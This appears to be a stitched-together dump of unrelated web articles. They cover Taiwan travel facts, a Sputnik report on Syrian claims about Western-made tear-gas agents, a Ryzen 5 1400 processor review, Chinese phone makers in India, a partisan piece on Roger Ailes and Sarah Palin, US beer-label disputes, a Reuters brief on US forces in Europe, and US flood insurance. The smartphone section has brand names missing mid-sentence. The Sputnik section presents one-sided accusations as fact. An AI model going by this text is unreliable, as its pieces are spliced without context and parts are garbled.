a gnarly railway Speaking of Unesco, the world heritage group is mulling over awarding World Heritage Status to the Alishan Forest Railway, an 86km network of narrow gauge railways running throughout the mountain resort of Alishan. Opened in 1912, passengers enjoy dozens of switchbacks, 50 tunnels and more than 70 wooden bridges. 12. Plus a high-speed network At the other end of the rail spectrum is Taiwan’s high speed network, which opened in 2007 and links the capital, Taipei, to the southern city of Kaohsiung (reaching speeds of 186mph along the way). 13. Taipei was once home to the tallest building in the world The tallest building in the world between 2004 and 2010, when the Burj Khalifa in Dubai took over, Taipei101 (the figure denoting the number of floors) towers over the capital, serving as an icon for the modern evolution of the country. Its lifts reach speeds of 37.6mph, flinging passengers from the fifth to the 89th floor in 37 seconds. There is an observation deck on the 91st floor, some 1,285 feet above the ground. Taipei's 101 building was once the tallest in the world Credit: Getty 14. The opportunities for hiking are vast Taiwan, despite its fairly small size, is home to nine national parks, including Yushan, in which the nation’s highest peak - of the same name - resides. Its maximum height of 12,966 feet gives it the fourth highest elevation of any island in the world. More than 20 per cent of the country is protected land - in the form of either national park, forest or state reserve - while another 30 per cent is forest. Its network of hiking trails is a paradise for walkers, especially the highly regarded Taroko Gorge routes, while the 100 Peaks of Taiwan (each above 3,000 metres) is a lifetime's work for mountaineers. Taroko Gorge is popular with walkers Credit: Getty 15. There's nationwide free internet Taiwan rolled out free Wi-Fi in 2011, allowing residents to log on to the island's network, ITaiwan, at thousands of hotspots. -The discovery of toxic agents manufactured by US and UK companies in the territories liberated from terrorists has once again revealed the hypocrisy of the US-led coalition, Ammar Waqqaf, a Middle East expert told Radio Sputnik, adding that it is not the first time jihadists have been spotted using poisonous substances in Syria. The Syrian Foreign Ministry revealed Wednesday that the US and Great Britain could have been involved in supplying CS and CN toxic agents to extremists in Syria. As it turns out, the chemical substances found in jihadists' storehouses in Aleppo and eastern suburbs of Damascus were manufactured by British and American companies. "The chemical munitions were produced by the Federal Laboratories company in the US. The toxic agents were produced by Cherming Defense UK and NonLethal Technologies (US)," Syrian Deputy Foreign Minister Faisal Mekdad told a press conference in Damascus. Mekdad drew attention to the fact that under the Article 5 of the of the Convention on the Prohibition of Chemical Weapons, the use of the toxic agents is allowed only for preventing civil disorder and prohibited for use in warfare. The Syrian Foreign Ministry accused the US-led coalition of providing assistance to terrorist organizations in Syria and providing them with prohibited chemical substances. Radio Sputnik got in touch with Ammar Waqqaf, a Middle East expert, the Founder and Director of the analytical organization Gnosos, asking him to comment on the issue and share his views on what the consequences of the recent disclosure could be. "In a sense, this is significant because suddenly we now realized that at least a lack of control if not clear intent caused these rebels to have access to toxic agents," Waqqaf told Radio Sputnik. "Even though it is likely a low-grade tear gas material still somebody is supplying them [militants] with these canisters containing these gases without really asking what they would do with them and, you know, they [could] develop them even further to produce something even more toxic," the expert pointed out. Waqqaf underscored that the disclosure shows the hypocrisy of those who are seeking to incriminate the Syrian government for an alleged use of chemical weapons while turning a blind eye to the use of poisonous substances by the so-called Syrian rebels. "There have been numerous occasions when rebels used clearly toxic gases," Waqqaf said, "There are even videos, for example in Sheikh Maqsood a couple of years ago where Jaish al-Islam used chlorine gas. There was a clear yellow cloud over there, they even admitted it and later denied it. But nobody speaks about all these things." © Sputnik / Nour Molhem Canisters found at a terrorist chemical weapons factory in Aleppo In answer to a question about what consequences the situation will have, particularly for London and Washington, Waqqaf assumed that both the US and UK governments are likely to turn a blind eye to this episode and keep it swept under the rug. "What consequences will it have?… Nobody [in the US and UK] is even talking about it. It is highly unlikely that they will say anything," the Middle Eastern expert said. © AP Photo / Hassan Ammar Syria Has Right to Address UN as Alleged Western Chemical Weapons Found, Russian MP Says However, if the issue is raised in the UN Security Council with ample evidence presented the US and the UK "might want to respond," Waqqaf highlighted. In any event, the US and EU are very reluctant to investigate anything that could incriminate the opposition, the expert said, referring to the Khan Sheykhun chemical incident and the unwillingness of the US-led coalition to thoroughly examine the case. Commenting on the issue Leonid Slutsky, the chairman of the Russian lower house of parliament's International Affairs Committee, told reporters that Damascus has the right to turn to the United Nations after US and UK-made CS and CN substances were found in Aleppo and Damascus suburbs. "Syria now has all the reasons and the right to address the United Nations over western-produced chemical weapons found in the territories liberated from terrorists," Slutsky stressed. "The information released by the Syrian Foreign Ministry once more demonstrates in full the hypocrisy of the members of the western US-led coalition, and proves that the entire goal of the whole operation is to remove the regime of President Bashar Assad," the Russian parliamentarian told journalists. -Introduction AMD Ryzen 5 Market Segment Analysis Pentium G4560 Core i3-7100 Ryzen 5 1400 Core i5-7400 Core i5-7500 Ryzen 5 1500X Ryzen 5 1600 Core i5-6600K Core i5-7600K Ryzen 5 1600X Ryzen 7 1700 Cores / Threads 2 / 4 2 / 4 4 / 8 4 / 4 4 / 4 4 / 8 6 / 12 4 / 4 4 / 4 6 / 12 8 / 16 Base Clock 3.5 GHz 3.9 GHz 3.2 GHz 3.0 GHz 3.4 GHz 3.5 GHz 3.2 GHz 3.5 GHz 3.8 GHz 3.6 GHz 3.0 GHz Max. Boost N/A N/A 3.4 GHz 3.5 GHz 3.8 GHz 3.7 GHz 3.6 GHz 3.9 GHz 4.2 GHz 4.0 GHz 3.7 GHz L3 Cache 3 MB 3 MB 8 MB 6 MB 6 MB 16 MB 16 MB 8 MB 6 MB 16 MB 16 MB TDP 54 W 51 W 65 W 65 W 65 W 65 W 65 W 91 W 91 W 95 W 65 W Process 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm 14 nm Socket LGA 1151 LGA 1151 AM4 LGA 1151 LGA 1151 AM4 AM4 LGA 1151 LGA 1151 AM4 AM4 Price $80 $120 $170 $190 $200 $190 $220 $240 $240 $250 $315 AMD is back in the desktop CPU game with its Ryzen family of processors, thanks to successes with per-core performance and energy efficiency brought about by its "Zen" micro-architecture. The company launched its Ryzen processor family with the top-end Ryzen 7 series, which consists of eight-core models that start at $329 and go all the way up to $499. These chips do manage to make you think twice before choosing an Intel Core i7-7700K quad-core chip, and makes the Core i7 "Broadwell-E" series look terrible, all the way up to the $1,199 i7-6900K. On the brink of Summer 2017, AMD launched the Ryzen 5 line of performance-segment processors to capture key price-points ranging between $170 and $250.The Ryzen 5 series from AMD competes with the entire spectrum of Intel's Core i5 quad-core "Kaby Lake" series, at prices ranging from $170 to $250. This puts Intel's high-volume Core i5-7600K and value-oriented i5-7400 in its crosshairs. Carved out of the same 14 nm "Summit Ridge" silicon as the eight-core Ryzen 7 series, the Ryzen 5 series consists of six-core and quad-core SKUs, which are further bolstered by SMT (simultaneous multi-threading) and unlocked base-clock multipliers across the board. SMT (and its Intel implementation, Hyper-Threading) is something quad-core Core i5 parts lack, and unlocked multipliers is reserved only for the i5-7600K quad-core and $189 i3-7350K dual core. What's more, the six-core Ryzen 5 parts feature a staggering 16 MB of L3 cache (compared to the paltry 6 MB of the price-comparable Core i5 quad-core parts), and the quad-core Ryzen 5 1400 a decent (on paper) 8 MB. Given AMD has made significant strides in improving per-core performance and the software ecosystem finally taking advantage of more than four logical CPUs, the Ryzen 5 series chips are extremely exciting on paper.The Ryzen 5 1400 quad-core chip we're reviewing today has an enviable premise - a quad-core chip with SMT enabling 8 threads, 8 MB of L3 cache, and slightly lower clock speeds than the 1500X, yet an unlocked multiplier, for just $170. If you've read our Ryzen 5 1500X review, you'll note that we found it to be a very compelling alternative to the Core i5-7400. At its price, the Ryzen 5 1400 targets the upper-end of Intel's Core i3 dual-core lineup, and maybe even disrupts its entry-level quad-core Core i5 lineup. Dual-core Intel chips still make for decent entry/mainstream gaming PC chips for those who want to game at 1080p with reasonably dialed up settings. AMD is changing the game here by offering up four cores, eight threads, and more than double the cache, besides the freedom to overclock.AMD made the Ryzen 5 1400 by disabling two cores per quad-core complex (CCX) on the 14 nm "Summit Ridge" silicon, resulting in four cores. In addition, AMD halved the L3 cache per CCX to 4 MB. This is unlike the 1500X, where it left the L3 cache untouched, giving you 16 MB. So you have 8 MB of shared L3 cache and 512 KB of L2 cache per core. The chip is clocked at 3.20 GHz, with 3.40 GHz of TurboCore frequency. It lacks XFR (extended frequency range) in the real sense. A vestige of the feature overclocks the chip up to 50 MHz beyond the rated boost frequency. It doesn't appear to have any real price-matched competitor from the Intel stable. You get the Core i5-7400 at $190, but that's already sorted out by the Ryzen 5 1500X at the same price. Intel recently slashed the price of the overclocker friendly Core i3-7350K dual-core chip to $150, but we haven't had a chance to test it yet.On popular demand, we decided to also run our entire selection of games at HD resolution (1280 x 720 pixels). You will likely not game at this resolution, but it provides useful insights into the CPU's performance since games get extremely CPU limited at this resolution. -There are nearly 650 million users in India -- and over 300 million of them have a For these users, Chinese players became the first choice this year as they launched devices with compelling features, thus dominating the budget and mid-range price segment in the country. Chinese vendors captured 49 per cent of the Indian handset market in the first quarter of 2017 -- with a 180 per cent (year-on-year) revenue growth -- threatening to wipe out domestic players from the overall handset segment. Among the top Chinese brands, witnessed the biggest growth this year. With a market share of 23.5 per cent and having shipped 9.2 million smartphones in the third quarter this year, became the fastest-growing brand with a growth rate of nearly 300 per cent (year-on-year) in the third quarter this year. According to IDC, had 23.5 per cent market share in India, similar to Xiaomi, the Lenovo- combine was at 9 per cent, at 8.5 per cent and at 7.9 per cent. For Xiaomi, its Redmi Note 4 device that was launched in January at Rs 9,999 for the base model (2GB RAM and 32GB onboard storage) proved to be a game-changer and its best-selling too. The company shipped approximately four million units of the device in this quarter, said IDC. Chinese brands like (which sells its youth-centric sub-brand in India), Vivo, (a Lenovo brand) and OPPO's performance remained strong and contributed to more than half of the total smartphone shipments in the country. Aiming to push its position up in the highly competitive Indian market, launched flagship products at "unbeatable prices", like the highly-successful 8 Pro (Rs 29,999) and Honor 7X (starting at Rs 12,999). and OPPO's aggressive marketing spends also paid them hefty dividends. With smartphone growth nearing saturation in metros, Chinese players were also busy building their base in tier II and III cities. When it comes to manufacturing in India, announced its third plant in the country based out of Noida and the first facility for power banks in partnership with Hipad Spread across 230,000 square feet, the Noida unit is a dedicated facility for Xiaomi power banks where the Mi Power Bank 2i will be assembled. The company already has two smartphone manufacturing plants in Sri City, Andhra Pradesh, where more than 95 per cent of its smartphones sold in India is assembled locally. Meanwhile, South Korean giant also announced that it would invest Rs 4,915 crore in expanding its Noida manufacturing plant to double the production capacity of both and consumer electronics. The Foreign Investment Promotion Board approved OPPO's request to open single-brand retail stores in the country. With this decision, became the first smartphone company to get this opportunity in India. The Chinese players also handled the post-demonetisation ripples well with high decibel marketing, increased credit line to distributors and efficient channel management. Global vendors, led by Samsung, were able to withstand the aggressive Chinese players post-demonetisation owing to their good distributor coverage and penetration in the Indian market. Aiming to gain a further foothold in the offline smartphone market, Xiaomi opened its first "Mi Home" store in Bengaluru in May and plans to add 100 such stores in the next two years. Similarly, Lenovo-owned opened six "Moto Hubs" in Delhi-NCR and Mumbai and plans to open 50 more by the end of this year. Huawei's sub-brand Honor announced opening four more exclusive service centres in Kolkata, Hyderabad, Lucknow and Guwahati. Its service centres are already operating in 17 cities. India this year surpassed the US to become the second-largest in the world after Yet, according to Counterpoint Research, only one fourth of India's population uses smartphones, thus making the country an attractive destination for Chinese players in the mobile ecosystem. Highlights -8.3k SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard Fox News head honcho Roger Ailes claims that Sarah Palin’s life is in danger because Democrats and the left want her dead. In an interview with The Hollywood Reporter, Ailes was asked why he hired back Sarah Palin. His answer was that Sarah Palin is a marked women, The only two people I knew who got worse press than her were Richard Nixon and George W. Bush — some of it unfairly, much of it unfair to her family. She’s recognizable, she’s attractive, and she still has the message of stop raising taxes. The Tea Party started as a group that [the government] could make go home to bake meatloaf at any point in the last three years by simply doing two things: Stop raising taxes and stop stealing their money. Congress can’t stop spending money. I’m not a defender of everything she says. I don’t hear everything she says. But I know she represents a certain group of people who rose up against their own party, which you rarely see. I probably hired her back, if you really want to get to the bottom of it, to give her a chance to say her piece and piss off the people that wanted her dead. Let’s be clear. When Ailes referred to people in America who she pisses off and who want her dead, he was talking about the left and Democrats. What never occurs to the conservative mind is that maybe people like Sarah Palin get bad press because they are uninformed, racist, vile excuses for human beings who are getting back exactly what they put out there. According to Roger Ailes, Sarah Palin has been persecuted by bad press. He leaves out the fact that Sister Sarah creates her own bad press every time she opens her mouth. As far as people wanting Palin dead, I wish someone would ask Ailes who exactly wants Sarah Palin dead? It certainly isn’t Democrats. Sarah Palin remains one of the best fundraisers that the Democratic Party has. As soon as she gets involved in an election, donations to her endorsed candidate’s opponent skyrocket. Liberals don’t want Palin dead. She alternates between being unintended comedy and a source of shame for all Republicans on a daily basis. Palin makes all Republicans look bad. For that, Democrats are thankful that Ailes keeps her employed. Sarah Palin has created a myth that the left wants her dead. The truth is that nobody cares enough about the half-term governor, failed VP candidate, and D list celebrity to want her dead. Ailes worked for Nixon, so no one understands how to appeal to the conservative mind’s need for victimization, threat, and persecution like he does, but what he was saying in this interview was total nonsense. Ailes hired Palin back because she tried to make it on her own and vanished into Facebook oblivion. Palin couldn’t survive without Fox News, so she came back to Ailes grovelling on her hands and knees and took a massive pay cut. That pay cut is why Palin is back on Fox in a reduced role. As long as Sarah Palin keeps getting media attention, Democrats will keep winning elections. Sarah Palin is the gift that keeps on giving, and there’s no way that Democrats would ever want that to end. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human: -Misadventures in Labeling American Flags, Bare-Breasted Women, Red-Nosed Reindeer and Other Things You May Not Slap on a Beer Bottle All About Beer Magazine - Volume 31 , Issue 4 Greg Kitsock Getting a beer label to market is an intricate dance fraught with more missteps than the brewing of the beer itself. At the very least, it means navigating a gauntlet of federal and state regulations that can be confusing, contradictory and vague. At worst, it can entail defending your label against a charge of trademark infringement brought by a large mega-corporation (not necessarily even a beer company), and deflecting criticism—sometimes even bomb threats—if you’ve stepped on someone’s toes. The Alcohol and Tobacco Tax and Trade Bureau (TTB) is the federal agency that regulates alcoholic beverage labeling. Title 27 of the Code of Federal Regulations spells out, in sometimes nitpicking detail, what you may print on a beer label, what you may not print and what you must print (and in what typeface, print size and color). The Devil is in the Details Uncle Sam frowns on even the slightest deviations. Epic Ales, a microbrewery in Seattle, WA, had a label disallowed because the mandatory warning statement (the one about alcohol impairing your ability to drive or operate heavy machinery) lacked a period. In grammar school, a mispunctuated sentence might get you a rap on the knuckles from your teacher. But for a recent start-up trying to get its products on the market, far worse is a delay of weeks (or months) until a revised label can be submitted. There are certain statements that the TTB clearly and unequivocally forbids. You can’t say that beer has any health benefits. Stating that your beer contains vitamins or minerals (even if backed up by laboratory analysis) is considered a de facto health claim and not allowed. (But the TTB will permit you to list the protein, carbohydrate and fat content.) Terms that bespeak of high alcohol content, like “strong” or “high test,” are also verboten. The original label for Tuppers’ Hop Pocket Ale was disallowed because it contained the phrase “powerfully hopped.” Apparently, the feds neither knew nor cared that hops have no influence on the alcoholic content of a beer. What vexes brewers, however, are arbitrary decisions over matters not mentioned in the regs. “They don’t always set out their expectations in clear terms,” says Cody Morris, brewer/manager of Epic Ales, which in its brief lifetime (construction began in December 2008) has already accumulated a stack of rejections. His label for Terra-saurus was shot down because of the description “a meaty ale.” Notes Morris: “They rejected it because they thought ‘meaty’ implied I put meat in my beers.” (His Terra-saurus does contain one unusual ingredient—shiitake mushrooms—but no meat.) Morris changed “meaty” to “toothy” and the TTB nixed that adjective as well as a “non-accepted term.” A second label, for a spiced ale called Solar Trans-amplifier, was rejected because of the phrase “an invigorating ale.” The TTB gave the thumbs down on a third label, for a coffee and cardamom-flavored brew called OTTO-Optimizer, because the label described it as “swarthy.” Finally, a frustrated Morris submitted paperwork for a product called Simple Ale, whose label is printed in a generic black and white with simple block lettering and no extraneous designs. That one sailed through. The whole thing makes you want to crawl up in a fetal position on a sack of malt,” sighs Morris. Mind Your Design The TTB’s labeling code also specifies what designs you can and can’t display on the label. Anything obscene is forbidden. You’re also not allowed to print a crest, coat-of-arms or insignia if it might falsely imply an endorsement from an individual or group using that symbol. Brian Owens, brewer for O’Fallon Brewery in O’Fallon, MO, recently had a label for his Hemp Hop Rye beer rejected because it had a picture of a spiky-leaved hemp plant. “They said you can’t advertise a controlled substance,” he says of the TTB’s response. Although it’s legal to import sterilized hempseed (as long as contains no more than traces of the psychoactive chemical THC), you can’t grow hemp in any form. “Oddly enough, we had to take the picture of the healthiest ingredient off the label,” commented Owens. You’d think that it would be safe to display the American flag on your label. And you’d be wrong. In the early 1990s, Jack Joyce of Rogue Ales in Newport, OR, submitted his American Amber Ale for label approval. The government rejected the label, which showed an Uncle Sam-like figure hoisting a beer with the American flag fluttering in the background. Rogue, it seems, had run afoul of U.S. Code Title 4, Chapter 8, Item 1: “The U.S. flag should never be used for advertising purposes in any manner whatsoever.” So Joyce redesigned the label to portray a generic pattern of red and white stripes with a single row of stars as a border. However, he continued to use the flag design for glasses, T-shirts, tap handles, etc. until 2005, when a TTB agent, vacationing in Oregon, spotted a Rogue truck painted with the original logo. Ordered to cease and desist, Joyce repainted his trucks and destroyed or gave away between $15,000 and $25,000 worth of promotional items. He was able to salvage his tap handles by painting out the stars. “We solved that by basically desecrating the flag,” he observed ironically. The prohibition against the flag’s use in ads is meant to keep consumers from thinking that the government endorses products. At least, that’s what the U.S. Department of the Treasury said at the time of the controversy. But the national code for displaying the flag, in effect since 1923, cites another reason for not depicting the Stars and Stripes on a beer label: The flag’s image should never be used on items that are customarily used once and tossed into the garbage, like napkins or candy wrappers. Trashing even a picture of the flag is considered an insult to Old Glory. Technically, postage stamps that portray the flag are also a violation. But even though the United States Postal Service gets a free pass, Joyce declined to protest the TTB’s decision. “Ours is not to reason why, ours is to comply,” he says, noting gratefully that the government did not exercise its option to fine him $70 for every item that violated the code. Just because the TTB grants you its approval, that doesn’t mean you’re cleared to sell your beer from coast to coast. “We’ve had more trouble with the states than with the federal government,” grouses Dan Shelton of Shelton Brothers importers in Belchertown, MA. One of the Shelton’s celebrated tussles involved Les Sans Culottes, a bière de garde from the French brewery Les Choulette. The label features a scene from the Eugène Delacroix painting Liberty Leading the People, which commemorates the July 1830 revolution that overthrew King Charles X of France. In the center of the painting is a bare-breasted representation of Miss Liberty holding aloft the French tri-colored flag. Although the original hangs in the Louvre and Miss Liberty’s pose is suppose to have inspired our Statue of Liberty, Maine was one of several states to ban the label, alleging that it contained “an undignified or improper illustration.” Maine also refused to approve another Shelton product: Santa’s Butt Winter Porter, one of a series of irreverent yuletide beers from the Ridgeway Brewing in Oxfordshire, England. The label portrays Santa squatting on an immense barrel of beer, holding his nice-and-naughty list in his left hand and a foaming mug in his right. The name, notes Dan Shelton, is a pun: “butt” can mean one’s posterior or a barrel containing 108 gallons. “That was the one that caused the real stir,” Shelton says. Maine authorities objected because the image of Santa might appeal to children. “We said that made no sense. A 5- or 6-year-old is not going to be able to purchase a bottle of beer.” Maine eventually backed down after Shelton, a graduate of Yale Law School, filed a suit with the help of the Maine Civil Liberties Union, attracting national media attention. “We got a lot of hostile mail from people all over the place saying we were going to rot in hell for doing that to Santa Claus,” he says. However, he adds, “There is such a thing as freedom of commercial speech. We do have rights under the First Amendment.” Say What? Say Who? Say Why? Once you’ve dotted all “i’s” and crossed all “t’s” to the governments’ (federal and state) satisfaction, you can still get worked over in the court of public opinion. Sometimes, the most innocuous labels can generate the most controversy. In 2009, Gene Muller, president of Flying Fish Brewing Co. in Cherry Hill, NJ, began releasing his “Exit” series of experimental, one-off beers in 750-ml bottles. As Muller explained, New Jersey lacks geographic features like towering mountain ranges or mighty rivers, so residents size up one another by asking, “What exit are you from?” The series, however, hit a speed bump when both the New Jersey Turnpike Authority and Mothers Against Drunk Driving registered their protests. “The combination of a roadway and advertising for any kind of beer doesn’t make any kind of sense,” charged Mindy Lazar, executive director of New Jersey’s chapter of MADD. “This is almost a mockery.” Muller was taken aback. “Did MADD feel that kids were going to buy the beer and party at the exits? What kid is going to buy a $10 bottle of beer?” Nevertheless, he placated his critics by posting the disclaimer on his website: “The New Jersey Turnpike Authority has no affiliation with the Exit Series. Both the Turnpike Authority and Flying Fish agree that you should never drink and drive.” Sex sells products, but it can also get you covered up. In 2007, a Reading, PA, microbrewery called Legacy Brewing Co. began marketing a product called Hedonism Ale, which it claimed was “brewed with an orgy of ingredients.” The label showed an assortment of cartoon characters engaging in public displays of affection (nothing beyond kissing and hugging, really). However, one Lancaster distributor called Beer Ink viewed the brand as pornographic and began wrapping cases in plain brown paper. Poking fun at someone’s religion is another way to inflame public opinion. About 2005, Lost Coast Brewery in Eureka, CA, introduced a product called Indica IPA. On the label was an elephant-headed Hindu deity called Ganesha, shown grasping a beer with his trunk and one of his four arms. Ganesha is worshipped by millions of Hindus, Buddhists and Jains who revere him as the remover of obstacles and a patron of the arts and sciences. Many were offended enough to complain to the brewery and organize boycotts. Some emailed bomb threats. One angry Hindu even filed a lawsuit, calling the label “a hate crime.” Brij Dhir, identified in the press as a Golden Gate University law student and licensed attorney in India, said $1 billion in damages would be an appropriate sum to compensate Hindus around the world for their emotional distress. Lost Coast subsequently redesigned the label, removing several of the elephant’s limbs to make him appear more nonsectarian. But to this day the controversy remains a sore point with the brewery. Lost Coast doesn’t even mention Indica IPA on its website. “This way we feel like we’re not rubbing salt in anyone’s wounds,” says sales director Briar Bush. “We’re not trying to profit off of anyone’s religious preference.” On the other hand, Greg Schirf of Wasatch Beers in Salt Lake City was actively courting controversy when he premiered his Polygamy Porter (slogan: “Why have just one?”) in 2001. Schirf brews in a state whose population is more than two-thirds Mormon. More properly called the Church of Jesus Christ of Latter-day Saints, the religion outlawed its controversial practice of plural marriage in 1890 and has since tried to integrate itself into the American mainstream. However, some breakaway sects still allow men to take multiple wives. We’re not making fun of anyone’s religion, just saying this is a part of Utah’s heritage,” insisted Schirf in an interview several years ago. Not long after the brand’s introduction, however, Utah raised its state beer tax—already the highest in the nation—another $1.88 to $12.88 a barrel. That act of retaliation continues to cost Schirf around $50,000 extra per year. On the plus side, he’s made a small fortune in T-shirt sales, raking in $100,000 in the first three months after the wire services picked up on Polygamy Porter. In 2005 Schirf made headlines once again, this time with an amber beer called Evolution Amber Ale. A “Darwin Approved” seal specifies that the beer was “Created in 27 days, not 7.” The brand, Schirf explained, was inspired by a Utah state senator who tried to pressure state schools into teaching intelligent design theory as an alternative to Darwin’s theories. It might appear to be risky policy to tweak the powers-that-be, but as Schirf once explained, Mormons don’t drink alcohol, and “you can’t lose a customer you’ll never have.” Do the Right Thing Even if a label resonates well with the public, however, corporate America might have a bone to pick with you. With an estimated 13,000 beer brands on the market today, it’s inevitable that cases of trademark infringement will arise. Sometimes breweries ought to know better. Back in the late 1980s, one faltering Midwestern regional tried to revive its fortunes with a brand called Korr’s Original Steam Beer. The only reason Fritz Maytag (who zealously defends his trademark Anchor Steam) didn’t voice his objection is that another larger brewery, by the name of Coors, pounced first. That brewery is long defunct. Getting sued by two different people is never a good business strategy. Usually, however, trademark infringement is inadvertent. And sometimes it can be settled amicably, without resorting to lawyers at 10 paces. In 2001, Adam Avery of Avery Brewing Co. in Boulder, CO, and Vinnie Cilurzo of Russian River Brewing Co. in Santa Rosa, CA, realized that both of them were making a strong, Belgian-inspired ale named Salvation. There was, however, no overlap in marketing territory (at that time anyway), and “we realized that neither of us had any issue with it,” says Avery. In fact, the two brewers decided to create a new brew by blending their respective beers. During an evening of much convivial elbow-bending at the Russian River brewpub, Natalie, Vinnie’s wife, came up with the name Collaboration Not Litigation. The two beers that share the name Salvation—Avery’s is a hoppy, golden ale, Cilurzo’s is darker, more of a dubbel—”blend extraordinarily well,” says Avery. “They create a completely different beer.” Batch No. 4 of Collaboration Not Litigation was bottled at Avery’s brewery and released this past winter. The two brewers continue to brew their own versions of Salvation and remain fast friends. In such trademark disputes, the party claiming injury isn’t always another brewery. Bethlehem Brew Works, a brewpub in Bethlehem, PA, used to brew a strong, spiced ale called Rudolph’s Reserve for the Christmas holidays, bottling a small amount. The label depicted Santa Claus saddling up the famous red-nosed reindeer popularized in the 1949 Gene Autry song. Just before the holiday season in 2003, Bethlehem Brew Works received a cease-and-desist letter from a Wilton, CT-based firm called The Rudolph Co. L.P. and its merchandising agent, Gt Merchandising and Licensing L.L.C. The company claimed a trademark to “any design of a reindeer with a shiny nose and the design of a red-tipped nose on any fanciful deer-like animal.” Jeff Fegley, the brewpub’s owner, changed the color of the reindeer’s nose from a bright red to dull black and tweaked the name ever so slightly to Rude Elf’s Reserve. The 2009 version of the beer won a bronze medal in the Herb and Spice or Chocolate Beer category at the most recent Great American Beer Festival. Some trademark disputes can reach almost absurd levels. You wouldn’t think that you could trademark an animal, would you? But Bjorn Nabozney, co-founder of Big Sky Brewing Co. in Missoula, MT, fought a 10-year battle with the Canadian brewer of Moosehead that began when Big Sky attempted to trademark its flagship beer, a brown ale named Moose Drool. Attorneys for Moosehead claimed that the brand was creating “confusion” in the marketplace. We were spending thousands of dollars a month; we had a team of five lawyers,” says Nabozney, who decided to settle three years ago. Under the terms of the agreement, Big Sky agreed to limit sales of Moose Drool largely to states west of the Mississippi. You would think that the average consumer could tell the difference between a beer and a women’s fashion magazine. Yet the publishers of Elle, recalls Adam Avery, brought legal action over a brand called Elle’s Brown Ale, named after the brewer’s late Labrador retriever. Avery resolved the dispute by adding an “i” to make Elle “Ellie.” We were in the right,” says Avery, “but I didn’t want to spend time in court. Some people might say, ‘I’m going to fight tooth and nail,’ but not me. The problem with trademarks is that you’ve got to spend a lot money to keep them.” Matt Nadeau, president of Rock Art Brewery in Morrisville, VT, decided enough is enough when Hansen Beverage Co., a large soft drink firm based in California, threatened to sue over one of Rock Art’s brands, an American-style barley wine called the Vermonster. Hansen claimed that the beer brand would “create a likelihood of confusion” and “dilute the distinctive quality” of Monster Energy Drink, one of Hansen’s major labels. Nadeau found the claim totally worthless. His research revealed that there were already 25 alcoholic beverages registered with the TTB that included the word “monster” in their names. Among them was Brooklyn Brewery’s The Monster barley wine, which preceded the energy drink. “They never had a problem with that.” Nadeau believes that large companies, in monopolizing trademarks, often start by bullying the littlest guys first so they can build up a folder full of “precedents” that they can present to a court. Rather than give in or let himself become bankrupted by attorneys’ fees, Nadeau sent out a plea for support over the Internet. A local paper, the Stowe Reporter, picked up on the David vs. Goliath angle of the story, and soon media across the country, from the Boston Globe to the Associated Press, were following suit. “We got over a million tweets within days,” says Nadeau. A big swell of negative publicity for Hansen built up,” he relates. He got emails from stores as far as away as Long Island―”stores we didn’t even distribute to”―saying they were pulling Monster Energy Drink from their shelves in protest. Eventually, Hansen was forced to back down. The corporation agreed not to challenge Rock Art’s trademark as long as the microbrewery agreed not to get in the energy drinks business. That was a compromise Nadeau had proposed at the beginning of the dispute, but which Hansen had initially rejected. A Small Victory It’s not over yet. In the aftermath of the controversy, Vermont Sen. Patrick Leahy, chairman of the U.S. Senate Judiciary Committee, introduced a bill (S. 2968) calling for a review of current trademark law and the litigation tactics used by large firms to exploit the system. We saw a high-profile case… in Vermont last year involving a spurious claim against Rock Art Brewery,” wrote Leahy in a press release. “When a corporation exaggerates the scope of its rights far beyond a reasonable interpretation in an attempt to bully a small business out of the market, that is wrong.” The bill should be law by the time you read this. What will come out of the study can’t be predicted, but as Nadeau boasts, “Vermonster was saved by the people.” -WARSAW (Reuters) - The United States is reviewing its military presence in Europe as a result of Russia's intervention in Ukraine, the White House said on Tuesday at the start of a four-day European trip by President Barack Obama. Obama will call on Congress to support a "European Reassurance Initiative" of up to $1 billion to increase U.S. military rotations on the continent, it said. The effort would involve increased participation by the U.S. Navy in NATO naval force deployments, including "more persistent deployments" to the Black and Baltic seas, it said. "We are reviewing our force presence in Europe in light of the new security challenges on the continent," the White House said in a statement. "These efforts will not come at the expense of other defense priorities, such as our commitment to the Asia Pacific rebalance." (Reporting by Jeff Mason; Editing by John Stonestreet) -National scheme encourages irresponsible housebuilding on regions exposed to flooding and storms, warns Lloyds By Kieran Cooke Lloyd’s, one of the world’s biggest insurance companies, says the US government must stop providing insurance subsidies to homeowners building on flood plains and in coastal areas exposed to mounting risks related to climate change. According to a report in London’s Financial Times, Lloyd’s says the US government’s National Flood Insurance Program (NFIP), which subsidises insurance cover for householders in regions vulnerable to floods and storms, encourages irresponsible house building. Lloyd’s also says the NFIP subsidy regime is financially unsustainable. Because of claims related to disasters such as Hurricane Katrina in 2005 and superstorm Sandy in 2012, the NFIP has now run up debts of more than $24 billion. Insurance companies have been among those at the forefront of analysing the financial implications of climate change and assessing climate-related risk worldwide. Concerted action In the run-up to the UN conference on climate change in Paris last December, insurance companies pressed for more concerted action on global warming, saying it posed a serious threat to the future of the industry. Insurers say rising payouts related to climate change and weather in heavily-insured western countries such as the US result in less money being made available to provide affordable insurance in developing countries, where it is most needed. A report by Munich Re, one of the insurance industry’s leaders in analysing climate change, says the world’s most deadly and costly catastrophe in 2015 was the Nepal earthquake in April, resulting in at least 9,000 dead and billions of dollars worth of damage. “As is so often the case in developing countries, only a fraction of the $4.8 billion in overall losses caused by the quake and the aftershocks was insured – $210 million,” says Munich Re. The situation in the US is the reverse, with heavy NFIP subsidies and other local, state-controlled schemes for too many homes built in areas exposed to storms and flooding. “Intended as a disaster relief programme, the federal flood insurance scheme is really a land development policy” The most glaring example is along the coast of Florida, a region that is regularly hit by hurricanes and giant storms. Coastal lands are also threatened by sea level rise related to climate change. Yet despite these risks, the area has seen a steep rise in population and housebuilding. In 1992, Hurricane Andrew hit the Florida coast, causing an estimated 65 deaths and causing $25 billion of damage to housing and businesses. With encouragement from insurance schemes subsidised at federal and state levels, the damaged areas have all been redeveloped. And insurance experts say that if a similar storm were to hit the Florida coast now, more lives could be at risk and losses would amount to $50 billion. Bargain prices Professor Omri Ben-Shahar, an expert on insurance law at the University of Chicago, argues in an article in Forbes magazine that government subsidies mean that flood policies are being sold at bargain prices. He says the system is hard to justify, with middle-class taxpayers living inland having to subsidise mostly upper-income owners of coastal homes. 